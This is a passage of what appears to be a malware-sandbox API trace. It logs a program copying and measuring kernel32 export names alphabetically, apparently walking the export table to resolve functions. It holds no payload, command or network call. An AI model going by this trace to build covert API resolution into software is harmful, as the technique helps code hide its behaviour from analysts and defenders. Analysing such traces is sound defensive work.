(lpString="ATTACHCONSOLE") returned 13 [0053.732] lstrcpyA (in: lpString1=0x34e410, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0053.732] lstrlenA (lpString="BACKUPREAD") returned 10 [0053.732] lstrcpyA (in: lpString1=0x34e410, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0053.732] lstrlenA (lpString="BACKUPSEEK") returned 10 [0053.732] lstrcpyA (in: lpString1=0x34e410, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0053.732] lstrlenA (lpString="BACKUPWRITE") returned 11 [0053.732] lstrcpyA (in: lpString1=0x34e410, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0053.732] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0053.732] lstrcpyA (in: lpString1=0x34e410, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0053.732] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0053.732] lstrcpyA (in: lpString1=0x34e410, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0053.732] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0053.732] lstrcpyA (in: lpString1=0x34e410, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0053.733] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0053.733] lstrcpyA (in: lpString1=0x34e410, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0053.733] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0053.733] lstrcpyA (in: lpString1=0x34e410, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0053.733] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0053.733] lstrcpyA (in: lpString1=0x34e410, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0053.733] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0053.733] lstrcpyA (in: lpString1=0x34e410, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0053.733] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0053.733] lstrcpyA (in: lpString1=0x34e410, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0053.733] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0053.733] lstrcpyA (in: lpString1=0x34e410, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0053.733] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0053.733] lstrcpyA (in: lpString1=0x34e410, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0053.733] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0053.733] lstrcpyA (in: lpString1=0x34e410, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0053.733] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0053.733] lstrcpyA (in: lpString1=0x34e410, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0053.733] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0053.733] lstrcpyA (in: lpString1=0x34e410, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0053.733] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0053.733] lstrcpyA (in: lpString1=0x34e410, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0053.733] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0053.733] lstrcpyA (in: lpString1=0x34e410, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0053.733] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0053.733] lstrcpyA (in: lpString1=0x34e410, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0053.733] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0053.733] lstrcpyA (in: lpString1=0x34e410, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0053.733] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0053.733] lstrcpyA (in: lpString1=0x34e410, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0053.733] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0053.734] lstrcpyA (in: lpString1=0x34e410, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0053.734] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0053.734] lstrcpyA (in: lpString1=0x34e410, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0053.734] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0053.734] lstrcpyA (in: lpString1=0x34e410, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0053.734] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0053.734] lstrcpyA (in: lpString1=0x34e410, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0053.734] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0053.734] lstrcpyA (in: lpString1=0x34e410, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0053.734] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0053.734] lstrcpyA (in: lpString1=0x34e410, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0053.734] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0053.734] lstrcpyA (in: lpString1=0x34e410, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0053.734] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0053.734] lstrcpyA (in: lpString1=0x34e410, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0053.734] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0053.734] lstrcpyA (in: lpString1=0x34e410, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0053.734] lstrlenA (lpString="BEEP") returned 4 [0053.734] lstrcpyA (in: lpString1=0x34e410, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0053.734] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0053.734] lstrcpyA (in: lpString1=0x34e410, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0053.734] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0053.734] lstrcpyA (in: lpString1=0x34e410, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0053.734] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0053.734] lstrcpyA (in: lpString1=0x34e410, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0053.734] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0053.734] lstrcpyA (in: lpString1=0x34e410, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0053.734] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0053.734] lstrcpyA (in: lpString1=0x34e410, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0053.734] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0053.734] lstrcpyA (in: lpString1=0x34e410, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0053.735] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0053.735] lstrcpyA (in: lpString1=0x34e410, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0053.735] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0053.735] lstrcpyA (in: lpString1=0x34e410, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0053.738] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0053.738] lstrcpyA (in: lpString1=0x34e410, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0053.738] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0053.738] lstrcpyA (in: lpString1=0x34e410, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0053.738] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0053.738] lstrcpyA (in: lpString1=0x34e410, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0053.738] lstrlenA (lpString="CANCELIO") returned 8 [0053.738] lstrcpyA (in: lpString1=0x34e410, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0053.738] lstrlenA (lpString="CANCELIOEX") returned 10 [0053.738] lstrcpyA (in: lpString1=0x34e410, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0053.738] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0053.738] lstrcpyA (in: lpString1=0x34e410, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0053.738] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0053.738] lstrcpyA (in: lpString1=0x34e410, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0053.738] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0053.738] lstrcpyA (in: lpString1=0x34e410, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0053.738] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0053.738] lstrcpyA (in: lpString1=0x34e410, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0053.738] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0053.738] lstrcpyA (in: lpString1=0x34e410, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0053.738] lstrlenA (lpString="CHECKELEVATION") returned 14 [0053.738] lstrcpyA (in: lpString1=0x34e410, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0053.738] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0053.738] lstrcpyA (in: lpString1=0x34e410, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0053.738] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0053.738] lstrcpyA (in: lpString1=0x34e410, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0053.738] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0053.738] lstrcpyA (in: lpString1=0x34e410, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0053.739] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0053.739] lstrcpyA (in: lpString1=0x34e410, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0053.739] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0053.739] lstrcpyA (in: lpString1=0x34e410, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0053.739] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0053.739] lstrcpyA (in: lpString1=0x34e410, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0053.739] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0053.739] lstrcpyA (in: lpString1=0x34e410, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0053.739] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0053.739] lstrcpyA (in: lpString1=0x34e410, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0053.739] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0053.739] lstrcpyA (in: lpString1=0x34e410, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0053.739] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0053.739] lstrcpyA (in: lpString1=0x34e410, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0053.739] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0053.739] lstrcpyA (in: lpString1=0x34e410, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0053.739] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0053.739] lstrcpyA (in: lpString1=0x34e410, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0053.739] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0053.739] lstrcpyA (in: lpString1=0x34e410, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0053.739] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0053.739] lstrcpyA (in: lpString1=0x34e410, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0053.739] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0053.739] lstrcpyA (in: lpString1=0x34e410, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0053.739] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0053.739] lstrcpyA (in: lpString1=0x34e410, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0053.739] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0053.739] lstrcpyA (in: lpString1=0x34e410, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0053.739] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0053.739] lstrcpyA (in: lpString1=0x34e410, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0053.739] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0053.739] lstrcpyA (in: lpString1=0x34e410, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0053.739] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0053.739] lstrcpyA (in: lpString1=0x34e410, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0053.739] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0053.739] lstrcpyA (in: lpString1=0x34e410, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0053.739] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0053.739] lstrcpyA (in: lpString1=0x34e410, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0053.739] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0053.739] lstrcpyA (in: lpString1=0x34e410, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0053.739] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0053.739] lstrcpyA (in: lpString1=0x34e410, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0053.739] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0053.739] lstrcpyA (in: lpString1=0x34e410, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0053.740] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0053.740] lstrcpyA (in: lpString1=0x34e410, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0053.740] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0053.740] lstrcpyA (in: lpString1=0x34e410, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0053.740] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0053.740] lstrcpyA (in: lpString1=0x34e410, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0053.740] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0053.740] lstrcpyA (in: lpString1=0x34e410, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0053.740] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0053.740] lstrcpyA (in: lpString1=0x34e410, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0053.740] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0053.740] lstrcpyA (in: lpString1=0x34e410, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0053.740] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0053.740] lstrcpyA (in: lpString1=0x34e410, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0053.740] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0053.740] lstrcpyA (in: lpString1=0x34e410, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0053.740] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0053.740] lstrcpyA (in: lpString1=0x34e410, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0053.740] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0053.740] lstrcpyA (in: lpString1=0x34e410, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0053.740] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0053.740] lstrcpyA (in: lpString1=0x34e410, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0053.740] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0053.740] lstrcpyA (in: lpString1=0x34e410, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0053.740] lstrlenA (lpString="COPYCONTEXT") returned 11 [0053.740] lstrcpyA (in: lpString1=0x34e410, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0053.740] lstrlenA (lpString="COPYFILEA") returned 9 [0053.740] lstrcpyA (in: lpString1=0x34e410, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0053.740] lstrlenA (lpString="COPYFILEEXA") returned 11 [0053.740] lstrcpyA (in: lpString1=0x34e410, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0053.740] lstrlenA (lpString="COPYFILEEXW") returned 11 [0053.740] lstrcpyA (in: lpString1=0x34e410, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0053.740] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0053.740] lstrcpyA (in: lpString1=0x34e410, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0053.740] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0053.740] lstrcpyA (in: lpString1=0x34e410, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0053.740] lstrlenA (lpString="COPYFILEW") returned 9 [0053.740] lstrcpyA (in: lpString1=0x34e410, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0053.740] lstrlenA (lpString="COPYLZFILE") returned 10 [0053.740] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0053.740] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0053.740] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0053.740] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0053.740] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0053.741] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0053.741] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0053.741] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0053.741] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0053.741] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0053.741] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0053.741] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0053.741] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0053.741] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0053.741] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0053.741] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0053.741] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0053.741] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0053.741] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0053.741] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0053.741] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0053.741] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0053.741] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0053.741] lstrlenA (lpString="CREATEEVENTA") returned 12 [0053.741] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0053.741] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0053.741] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0053.741] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0053.741] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0053.741] lstrlenA (lpString="CREATEEVENTW") returned 12 [0053.741] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0053.741] lstrlenA (lpString="CREATEFIBER") returned 11 [0053.741] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0053.741] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0053.741] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0053.741] lstrlenA (lpString="CREATEFILEA") returned 11 [0053.741] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0053.741] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0053.741] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0053.741] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0053.741] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0053.741] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0053.741] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0053.741] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0053.741] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0053.741] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0053.741] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0053.741] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0053.742] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0053.742] lstrlenA (lpString="CREATEFILEW") returned 11 [0053.742] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0053.742] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0053.742] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0053.742] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0053.742] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0053.742] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0053.742] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0053.742] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0053.743] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0053.743] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0053.743] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0053.743] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0053.743] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0053.743] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0053.743] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0053.743] lstrlenA (lpString="CREATEJOBSET") returned 12 [0053.743] lstrcpyA (in: 